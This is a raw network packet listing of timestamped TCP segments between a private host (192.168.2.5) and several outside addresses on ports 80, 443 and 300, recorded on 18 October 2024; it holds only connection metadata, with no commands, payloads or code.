Oct 18, 2024 23:46:34.734247923 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.734312057 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.734339952 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.734412909 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.734422922 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.734433889 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.734441996 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.734446049 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.734457970 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.734462976 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.734471083 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.734483004 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.734498024 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.734536886 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.735129118 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.735176086 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.735202074 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.735286951 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.735297918 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.735308886 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.735337973 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.735421896 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.735435009 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.735445976 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.735455036 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.735459089 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.735471010 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.735475063 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.735482931 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.735496998 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.735532999 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.735845089 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.735928059 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.736273050 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.736413002 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.736558914 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.736958981 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.736995935 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.737107992 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.737421036 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.737464905 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.738331079 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.738342047 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.738723993 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.738733053 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.738908052 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.738913059 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.739140034 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.739161015 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.741169930 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.741189003 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.741297007 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.741324902 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.749203920 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.749576092 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.749614000 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.749994993 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.750011921 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.765634060 CEST	49711	300	192.168.2.5	103.192.208.114
Oct 18, 2024 23:46:34.770828962 CEST	300	49711	103.192.208.114	192.168.2.5
Oct 18, 2024 23:46:34.783925056 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.789180994 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.789279938 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.789290905 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.789334059 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.789344072 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.789355040 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.789357901 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.789366961 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.789391994 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.789403915 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.789421082 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.789539099 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.789570093 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.789582014 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.789624929 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.789654016 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.792984009 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.796876907 CEST	49706	300	192.168.2.5	45.124.79.198
Oct 18, 2024 23:46:34.796880960 CEST	49712	300	192.168.2.5	103.192.208.122
Oct 18, 2024 23:46:34.811633110 CEST	300	49712	103.192.208.122	192.168.2.5
Oct 18, 2024 23:46:34.811646938 CEST	300	49706	45.124.79.198	192.168.2.5
Oct 18, 2024 23:46:34.826683044 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.826694012 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.826704979 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.826714039 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.826724052 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.826734066 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.826742887 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.826751947 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.826752901 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.826762915 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.826773882 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.826788902 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.826788902 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.826874018 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.843883038 CEST	49710	300	192.168.2.5	115.236.153.230
Oct 18, 2024 23:46:34.843884945 CEST	49709	300	192.168.2.5	115.236.153.243
Oct 18, 2024 23:46:34.844185114 CEST	49708	300	192.168.2.5	103.192.208.24
Oct 18, 2024 23:46:34.848850012 CEST	300	49710	115.236.153.230	192.168.2.5
Oct 18, 2024 23:46:34.848860025 CEST	300	49709	115.236.153.243	192.168.2.5
Oct 18, 2024 23:46:34.849035978 CEST	300	49708	103.192.208.24	192.168.2.5
Oct 18, 2024 23:46:34.858072042 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.858119965 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.858129978 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.858237028 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.858246088 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.858249903 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.858257055 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.858268023 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.858279943 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.858282089 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.858289957 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.858300924 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.858310938 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.858314991 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.858335972 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.858553886 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.858566046 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.858623028 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.858633995 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.858643055 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.858676910 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.858686924 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.858704090 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.858819008 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.858829021 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.858838081 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.858846903 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.858849049 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.858859062 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.858866930 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.858882904 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.858928919 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.859447002 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.859488010 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.859498024 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.859607935 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.867065907 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.867201090 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.867400885 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.869385958 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.869395971 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.869405031 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.869436026 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.869466066 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.869714022 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.869757891 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.869879007 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.869905949 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.869939089 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.875366926 CEST	49707	300	192.168.2.5	103.192.208.26
Oct 18, 2024 23:46:34.876329899 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.876343012 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.876698017 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.876817942 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.876929045 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.880211115 CEST	300	49707	103.192.208.26	192.168.2.5
Oct 18, 2024 23:46:34.880497932 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.880497932 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.880533934 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.880558014 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.884150028 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.884192944 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.884272099 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.884294033 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.884322882 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.884391069 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.888072014 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.888088942 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.888098955 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.888107061 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.896085024 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.896115065 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.909861088 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.909908056 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.909919024 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.909971952 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.909981966 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.909990072 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.909992933 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.910005093 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.910011053 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.910039902 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.910069942 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.910082102 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.910092115 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.910104990 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.910113096 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.910129070 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.910296917 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.910376072 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.917254925 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.917308092 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.917366982 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.925407887 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.925457954 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.925578117 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.927398920 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.927418947 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.929665089 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.929689884 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.931000948 CEST	49822	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.931021929 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.931121111 CEST	49822	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.931345940 CEST	49822	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.931360006 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.933933020 CEST	49823	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.933954954 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.934009075 CEST	49823	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.937098980 CEST	49823	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.937118053 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.946583033 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.946594954 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.946608067 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.946619034 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.946640015 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.946685076 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.946871042 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.946988106 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.946999073 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.947029114 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.947032928 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.947045088 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.947056055 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.947076082 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.947103977 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.947334051 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.947437048 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.947448015 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.947489023 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.977368116 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.977453947 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.977466106 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.977521896 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.977569103 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.977581978 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.977593899 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.977618933 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.977634907 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.977665901 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.977677107 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.977705956 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.977715015 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.977720976 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.977744102 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.977917910 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.977992058 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.978002071 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.978013039 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.978034019 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.978064060 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.978234053 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.978274107 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.978295088 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.978305101 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.978338957 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.978379965 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.978389978 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.978405952 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.978415966 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.978425026 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.978427887 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.978439093 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.978447914 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.978451014 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.978483915 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.979109049 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.979119062 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.979129076 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.979139090 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.979163885 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.979177952 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.989206076 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.989258051 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.989312887 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.020894051 CEST	443	49818	142.250.184.196	192.168.2.5
Oct 18, 2024 23:46:35.029355049 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.029377937 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.029387951 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.029417992 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.029429913 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.029439926 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.029480934 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.029680967 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.029692888 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.029702902 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.029726028 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.029743910 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.029756069 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.029784918 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.030065060 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.030131102 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.030152082 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.030163050 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.030203104 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.042917967 CEST	49818	443	192.168.2.5	142.250.184.196
Oct 18, 2024 23:46:35.042928934 CEST	443	49818	142.250.184.196	192.168.2.5
Oct 18, 2024 23:46:35.046844959 CEST	443	49818	142.250.184.196	192.168.2.5
Oct 18, 2024 23:46:35.046927929 CEST	49818	443	192.168.2.5	142.250.184.196
Oct 18, 2024 23:46:35.064941883 CEST	49818	443	192.168.2.5	142.250.184.196
Oct 18, 2024 23:46:35.065125942 CEST	443	49818	142.250.184.196	192.168.2.5
Oct 18, 2024 23:46:35.066487074 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.066502094 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.066514015 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.066524982 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.066543102 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.066555023 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.066576958 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.066616058 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.066627026 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.066806078 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.066817045 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.066828966 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.066850901 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.066874981 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.067039013 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.067051888 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.067061901 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.067086935 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.067194939 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.067205906 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.067215919 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.067235947 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.067248106 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.096430063 CEST	49705	300	192.168.2.5	45.124.79.208
Oct 18, 2024 23:46:35.097055912 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.097131014 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.097138882 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.097192049 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.097198009 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.097209930 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.097220898 CEST	80	49795	104.192.108.20	192.168.2.5
